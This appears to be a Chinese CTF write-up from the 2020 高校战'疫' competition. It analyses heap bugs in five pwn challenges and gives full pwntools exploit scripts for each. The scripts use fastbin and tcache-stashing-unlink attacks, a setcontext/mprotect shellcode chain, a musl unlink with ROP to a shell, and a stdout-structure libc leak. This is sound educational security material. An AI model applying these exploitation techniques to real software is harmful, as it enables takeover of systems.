add,delete函数中存在大量的emmm应该是无关代码吧,观察到好像都是0,我们只需要关注这几个语句就可以了

图片无法显示,请联系作者

add函数按照用户的输入申请相应大小的内存,最大不超过0x1000大小,接着读取0x200字节的输入到bbs段中,并将用户输入的字符串的长度保存在0x603260地址处。bug是堆块列表

图片无法显示,请联系作者

delete函数则将buf[index]中存储的堆块释放掉。puts函数则是将buf[index]即用户的输入输出。

图片无法显示,请联系作者

edit函数则按照0x603260位置处存储的长度重新读取用户输入的数据。这里就出现问题了,因为0x603260中存储的是用户输入到bbs段中的数据最大为0x200字节,而我们申请的堆块的大小可以小于0x200,因此造成了堆溢出。

利用

  • 申请一块unsorted bin并释放,利用堆溢出或者UAF泄露libc基址
  • 利用堆溢出修改fastbin fd指针,fastbin attack配合unsorted bin attack申请堆块到free_hook附近位置,覆盖free_hook指针为setcontext+53的地址
  • 利用setcontext重新获取控制流,调用mprotect将写入shellcode的堆块关闭不可执行保护,执行shellcode

setcontext函数是用来设置用户上下文的,当我们可以小范围的控制执行流,并且知道libc基址的时候可以利用setcontext+53扩大控制范围。int setcontext(const ucontext_t *ucp);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<setcontext+53>:  mov    rsp,QWORD PTR [rdi+0xa0]
<setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
<setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
<setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
<setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
<setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
<setcontext+83>: mov r15,QWORD PTR [rdi+0x60]
<setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]
<setcontext+94>: push rcx
<setcontext+95>: mov rsi,QWORD PTR [rdi+0x70]
<setcontext+99>: mov rdx,QWORD PTR [rdi+0x88]
<setcontext+106>: mov rcx,QWORD PTR [rdi+0x98]
<setcontext+113>: mov r8,QWORD PTR [rdi+0x28]
<setcontext+117>: mov r9,QWORD PTR [rdi+0x30]
<setcontext+121>: mov rdi,QWORD PTR [rdi+0x68]
<setcontext+125>: xor eax,eax
<setcontext+127>: ret

可以直接使用pwntools中的SigreturnFrame来构造ucontext_t结构体

1
2
3
4
5
6
frame = SigreturnFrame()
frame.rip = libc.sym['mprotect']
frame.rsp = shellcode_address
frame.rdi = shellcode_address & 0xfffffffffffff000
frame.rsi = 0x1000
frame.rdx = 7

rip是执行完setcontext之后需要执行的指令地址,rsp则是执行完rip指令之后再次执行的指令地址,即可以连续控制。

可以利用此调用mprotect关闭不可执行保护之后跳转到shellcode地址去执行。也可以直接构造rop

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
# encoding=utf-8
from pwn import *

file_path = "./pwn"
context.arch = "amd64"
context.log_level = "debug"
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
gdb.attach(p, "b*0x4022F7")
libc = ELF('/home/pwn/Desktop/glibc/x64/glibc-2.23/lib/libc.so.6')
one_gadget = 0x0

else:
p = remote('', 0)
libc = ELF('')
one_gadget = 0x0


def add(length, content):
p.sendlineafter(">> ", "1")
p.sendlineafter("______?\n", str(length))
p.sendafter("yes_or_no?\n", content)


def delete(index):
p.sendlineafter(">> ", "2")
p.sendlineafter("index ?\n", str(index))


def show(index):
p.sendlineafter(">> ", "3")
p.sendlineafter("index ?\n", str(index))


def edit(index, content):
p.sendlineafter(">> ", "4")
p.sendlineafter("index ?\n", str(index))
p.sendafter("new_content ?\n", content)


def shut():
p.sendlineafter(">> ", "5")


name = "1212"
p.sendlineafter("is your name?", name)
add(0x40, "\x90"*0x200)
add(0x100, "\x90"*0x200)
add(0x68, "\x90"*0x200)
delete(1)
delete(2)
edit(0, "a"*0x48+"b"*0x8)
show(0)
p.recvuntil("b"*0x8)
libc.address = u64(p.recv(6).ljust(8, b"\x00")) - 88 - libc.sym['__malloc_hook'] - 0x10
main_arena_address = libc.sym['__malloc_hook']+0x10
free_hook_address = libc.sym['__free_hook']
log.success("lib address {}".format(hex(libc.address)))

payload = b'a'*0x48 + p64(0x111)
payload += p64(main_arena_address + 88)+ p64(free_hook_address - 0x40)
payload += b'a'*0xf8 + p64(0x71) + p64(free_hook_address - 0x33)

shellcode_address = 0x603060+0x100
shellcode = shellcraft.open("./flag")
shellcode += shellcraft.read("rax", "rsp", 0x100)
shellcode += shellcraft.write(1, "rsp", 0x100)
edit(0, payload)
add(0x100, "\x90"*0x200)
add(0x68, "\x90"*0x200)
add(0x68, b"\x90"*0x100 + (p64(shellcode_address+0x8) + asm(shellcode)).ljust(0x100, b"\x90"))
edit(3, p64(0)*4 + b"\x00"*3 + p64(libc.sym['setcontext'] + 53))

frame = SigreturnFrame()
frame.rip = libc.sym['mprotect']
frame.rsp = shellcode_address
frame.rdi = shellcode_address & 0xfffffffffffff000
frame.rsi = 0x1000
frame.rdx = 7
edit(2, bytes(frame))
delete(2)
p.interactive()

Musl

分析

这道题目的libc库时musl libc 1.1.24。程序共提供了四种方法add,delete,edit,show,其中add函数中可以堆溢出一次,show函数只能调用一次。

musllibc是简化版的glibc,其chunk的数据结构与glibc chunk类似,但是没有fastbin这些操作,相同大小的chunk通过一个双向链表链接起来。申请和释放chunk的时候没有进行安全检查,只要是fd,bk指针指向合法的内存就可以。

利用

  • 首先,由于chunk是通过双向链表进行连接的,因此释放再申请时,堆块中就残留有libc的地址数据,据此可以泄露出libc的基址。而mmap的第一个参数为0的时候,其映射的地址空间并不是随机的而是和libc基址有着固定的偏移

    图片无法显示,请联系作者

    因此我们也可以得到mmap的地址

  • 由于我们可以控制fd,bk指针,因此可以直接将堆块分配到mmap地址处

    1
    2
    c->prev->next = c->next;
    c->next->prev = c->prev;

    prevfd指针设置为mmap_address+8,那么在对堆块进行unbin的时候,就会将mmap_address+0x20的位置写入binmap的值,而binmap.prev的值会被改写为mmap_address+8,这样我们再次申请一块相同大小的chunk的时候,就会将mmap_address+0x8代表的堆块分配出来。此时的fd,bk指针分别为mmap_address+0x18,mmap_address+0x20,两个内存地址都是可写的,因此没有问题。

  • 此时我们就获得了mmap_address内存区域的任意写权限,可以通过environ泄露stack地址,改写返回地址为ropgetshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
# encoding=utf-8
from pwn import *

file_path = "./carbon"
context.arch = "amd64"
context.log_level = "debug"
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path], env={"LD_PRELOAD": "./libc.so"})
gdb.attach(p, "b *0x401090")
libc = ELF('./libc.so')
one_gadget = 0x0

else:
p = remote('', 0)
libc = ELF('')
one_gadget = 0x0


def add(length, content, choice="n"):
p.sendlineafter("> ", "1")
p.sendlineafter("size? >", str(length))
p.sendlineafter("a believer? >", choice)
p.sendafter("new sleeve >", content)


def delete(index):
p.sendlineafter("> ", "2")
p.sendlineafter("sleeve ID? >", str(index))


def edit(index, content):
p.sendlineafter("> ", "3")
p.sendlineafter("sleeve ID? >", str(index))
p.send(content)


def show(index):
p.sendlineafter("> ", "4")
p.sendlineafter("sleeve ID? >", str(index))


def shut():
p.sendlineafter("> ", "5")


add(0x1, 'a')
show(0)
libc.address = u64(p.recv(6).ljust(8, b"\x00")) - 0x292e61
mmap_address = libc.address + 0x290000
log.success("libc address {}".format(hex(libc.address)))

add(0x40, 'a'*0x40)#1
add(0x10, 'a'*0x10)
add(0x30, 'a'*0x30)#3
add(0x10, 'a'*0x10)
add(0x30, 'a'*0x30)#5
add(0x10, 'a'*0x10)#6

delete(3)
delete(5)
delete(1)

add(0x40, b'a'*0x70 + p64(0x21) + p64(0x40)+ p64(mmap_address+8)[:6]+b"\n", 'Y')# 1
add(0x30, "a"*0x30) # 3
add(0x30, p64(0x602034) + p64(0x30) + p64(libc.sym['__environ'])+b"\n") #5
edit(1, p32(0)+b"\n")

show(2)
stack_address = u64(p.recvuntil("Done", drop=True).ljust(8, b"\x00"))
log.success("stack address {}".format(hex(stack_address)))

ret_address = stack_address - 0x70
edit(5, p64(0x602034) + p64(0x80) + p64(ret_address) + b'\n')

p_rdi_r = libc.address + 0x14862
get_shell = flat([
p_rdi_r,
libc.search(b"/bin/sh").__next__(),
libc.sym['system']
])
edit(2, get_shell+b"\n")
p.interactive()

Shortest_path

flag被加载到了两个位置,一个是全局变量处,一个是top chunk的堆地址处

图片无法显示,请联系作者

持续不断地分配chunk,使得flag落到name字段的位置就可以输出flag了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# encoding=utf-8
from pwn import *

file_path = "./Shortest_path"
context.arch = "amd64"
context.log_level = "debug"
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
gdb.attach(p, "b*0x401475")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0

else:
p = remote('', 0)
libc = ELF('')
one_gadget = 0x0


def add(index, price, length, name, connected=0):
p.sendlineafter("options ---> ", "1")
p.sendlineafter("Station ID: ", str(index))
p.sendlineafter("Station Price: ", str(price))
p.sendlineafter("Station Name Length: ", str(length))
p.sendlineafter("Station Name: \n", name)
p.sendlineafter("connected station: ", str(connected))

def qurey_station(index):
p.sendlineafter("options ---> ", "3")
p.sendlineafter("Station ID: ", str(index))


#ac2240 - ac2000 0x240
add(0, 0x0, 0xd7, "a"*8) # 0x20 + 0xe0
add(1, 0x0, 0xd7, "a"*8) # 0x20 + 0xe0
add(2, 0x0, 0xd7, "a"*0xf) # 0x20 + 0xe0
qurey_station(2)
p.interactive()

Woodenbox

分析

程序存在明显的堆溢出漏洞,并且退出时执行的是double free,这很明显是要写入one_gadget。需要注意的是程序没有输出,而且每次删除堆块之后链表都会向前移动一位,即buf_list[0]会消失。

利用

  • 首先申请一个较大的unsorted bin并释放使得堆块中残留有mainarena+88的地址,依次使用两个fastbin堆块申请,那么最后一个申请的fastbin中就会存在mainarena+88的地址数据,我们将其低两位覆写为stderr+157地址的低两位\x65\xdd,(这里需要爆破16bit

  • 此时我们申请fastbin堆块并释放,利用堆溢出将fastbin->fd指针的低1字节改写为保存有stderr+157地址的fasbin堆块地址形成下列结构

    图片无法显示,请联系作者

    那么此时我们连续申请三个fastbin堆块,就可以将stderr+157处伪造的堆块申请到,进而可以控制stdout结构体

  • 修改stdout结构体的flagio_wite_base泄露stdout结构体附近地址,得到libc基址

  • 再次利用fastbin attackmalloc_hook改写为one_gadget地址,getshell

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
# encoding=utf-8
from pwn import *

file_path = "./woodenbox2"
context.arch = "amd64"
context.log_level = "debug"
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
gdb.attach(p, 'b *0x555555555041')
libc = ELF('/home/pwn/Desktop/glibc/x64/glibc-2.23/lib/libc.so.6')
one_gadget = 0xcb7c5

else:
p = remote('', 0)
libc = ELF('')
one_gadget = 0x0


def add(length, content="12"):
p.sendlineafter("Your choice:", "1")
p.sendlineafter("length of item name:", str(length))
p.sendafter("name of item:", content)


def change(index, length, content):
p.sendlineafter("Your choice:", "2")
p.sendlineafter("the index of item:", str(index))
p.sendlineafter("the length of item name:", str(length))
p.sendafter("new name of the item:", content)


def remove(index):
p.sendlineafter("Your choice:", "3")
p.sendlineafter("the index of item:", str(index))


def double_free():
p.sendlineafter("Your choice:", "4")


add(0x60) # 0
add(0x60)
add(0x90)
add(0x60) # 4

remove(2)
add(0x20) # 1
add(0x60, "\xdd\x65") # 4
add(0x60)
add(0x60)

remove(4)
remove(4)

change(0, 0x300, cyclic(0x68) + p64(0x71) + cyclic(0x68) + p64(0x71) + b"\x10")
add(0x60)
add(0x60)
add(0x60, b"\x00" * 3 + p64(0) * 0x6 + p64(0xfbad2887 | 0x1000) + p64(0) * 3 + b"\x00")
p.recv(0x40)
libc.address = u64(p.recv(6).ljust(8, b"\x00")) + 0x20 - libc.sym['_IO_2_1_stdout_']
log.success("libc address {}".format(hex(libc.address)))

add(0x60)
remove(1)
change(2, 0x10, p64(libc.sym['__malloc_hook']-0x23))
add(0x60)
add(0x60, b"\x00"*3 + p64(0)*2 + p64(one_gadget + libc.address))
double_free()
p.interactive()

Twochunk

分析

首先我们先分析一下程序,首先在0x23333000地址处mmap了一块内存的地址,并提供了七种操作。

add函数中,根据用户的输入分配相应大小的内存,但是我们最多可以保存分配得到的两个堆块指针,若用户输入的大小为23333则调用malloc分配固定的0xe9大小,否则调用calloc分配用户申请的大小。

edit函数中,我们注意到其可以进行0x20字节大小的溢出,并且如果用户输入的是23333则可以进行大范围的堆溢出。

有一次malloc(0x88)的机会,能够对mmap_address中指定的地址进行函数调用

图片无法显示,请联系作者

利用

只要我们可以将mmap_address处改写为system地址,mmap_address+0x30处改写为/bin/sh\x00的地址就可以getshell。但是mmap_address处的内容是程序一开始就需要输入的,因此我们需要将chunk分配到mmap_address处。这就需要利用Tcache Stashing Unlink

  • small bin中构造两个0x90大小的chunk。构造两个small bin chunk可以首先构造两个相对较大的unsorted bin,之后经过两次分配,分割剩余的0x90进入small bin中。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    add(0, 0xe9) # 进行溢出的chunk
    add(1, 0x130)# unsorted bin 1
    delete(0)
    add(0, 0x100)# padding to tcache
    delete(0)
    add(0, 0x130)# unsorted bin 2
    delete(1) # 0x140 chunk 1 to small bin
    add(1, 0x140)# padding to tcache
    delete(1)
    add(1, 0xe9)# 0x40 chunk 1 to unsorted bin,对small bin中的chunk进行换序
    delete(0) # 0x140 chunk2 to unsorted bin: 0x140chunk2<-->0x40
    delete(1)# merge 0x40, 0x100 chunk to 0x140 chunk 1, put to unsorted bin: 0x140chunk1<-->0x140 chunk2
    add(0, 0xa8)# 0x140 chunk1 to small bin, 0x90 chunk2 in unsorted bin
    add(1, 0xa8)# 0x90 chunk2 to small bin, 0x90 chunk1 in unsorted bin
    delete(0)# clear pointer buf
    delete(1)
    add(0, 0x150)# small bin: 0x90chunk1<-->0x90chunk2
  • 使用malloc申请一块0x100tcache,此时可以泄露堆地址

  • 覆写chunk1bk指针为mmap_address-0x10calloc(0x88)即可将mmap_address加入tcache,此时可以泄露libc基址

  • 调用leave_end_message使用malloc(0x88)即可以分配到mmap_address,布局system函数和参数,getshell

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
# encoding=utf-8
from pwn import *

file_path = "./twochunk"
context.arch = "amd64"
context.log_level = "debug"
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
libc = ELF('/home/pwn/Desktop/glibc/x64/glibc-2.30/lib/libc.so.6')
one_gadget = 0x0

else:
p = remote('', 0)
libc = ELF('')
one_gadget = 0x0


def add(index, size):
p.sendlineafter("choice: ", "1")
p.sendlineafter("idx: ", str(index))
p.sendlineafter("size: ", str(size))


def delete(index):
p.sendlineafter("choice: ", "2")
p.sendlineafter("idx: ", str(index))


def show(index):
p.sendlineafter("choice: ", "3")
p.sendlineafter("idx: ", str(index))


def edit(index, content):
p.sendlineafter("choice: ", "4")
p.sendlineafter("idx: ", str(index))
p.sendafter("content: ", content)


def show_message_name():
p.sendlineafter("choice: ", "5")


def leave_end_message(content):
p.sendlineafter("choice: ", "6")
p.sendafter("end message: ", content)


def call_mmap():
p.sendlineafter("choice: ", "7")

mmap_address = 0x23333000

name = p64(mmap_address + 0x30 - 0x10)*6
message = p64(mmap_address)*6
p.sendafter("your name: ", name)
p.sendafter("your message: ", message)


for i in range(5):
add(0, 0x88)
delete(0)

for i in range(7):
add(0, 0x130)
delete(0)

for i in range(6):
add(0, 0xe9)
delete(0)


gdb.attach(p, "b *0x55555555596E")
add(0, 0xe9)# overwrite address
add(1, 0x130)# first 0x90 chunk
delete(0)
add(0, 0x100)
delete(0)
add(0, 0x130)
delete(1)
add(1, 0x140) #0x140 chunk1 to small bin
delete(1)
add(1, 0xe9) #0x40 chunk in unsorted bin
delete(0) # 0x140 chunk2 in unsorted bin
delete(1)
add(0, 0xa8)
add(1, 0xa8)
delete(0)
delete(1)
add(0, 0x150)
add(1, 23333)
show(1)

heap_address = u64(p.recv(6).ljust(8, b"\x00")) + 0x100
log.success("heap address {}".format(hex(heap_address)))

payload = cyclic(0xf8) + p64(0xb1) + cyclic(0xa8)
payload += p64(0x91) + p64(heap_address + 0x3f0) +p64(mmap_address-0x10)
edit(1, payload)
delete(0)
add(0, 0x88)
show_message_name()
p.recvuntil("message: ")
libc.address = u64(p.recv(6).ljust(8, b"\x00")) - 224 - (libc.sym['__malloc_hook'] + 0x10)
log.success("libc address {}".format(hex(libc.address)))
payload = p64(libc.sym['system']).ljust(0x30, b"\x00")
payload += p64(mmap_address + 0x48) + p64(0)*2 + b"/bin/sh\x00"
leave_end_message(payload)
call_mmap()
p.interactive()

参考

高校战“疫”网络安全分享赛-部分PWN题-wp

从高校战疫的两道kernel学习kernel

Unicorn 在 Android 的应用

easy_unicorn基于unicorn的“沙盒逃逸”

unicorn沙箱下的pwn

高校战“疫”网络安全分享赛 2020 SU Write Up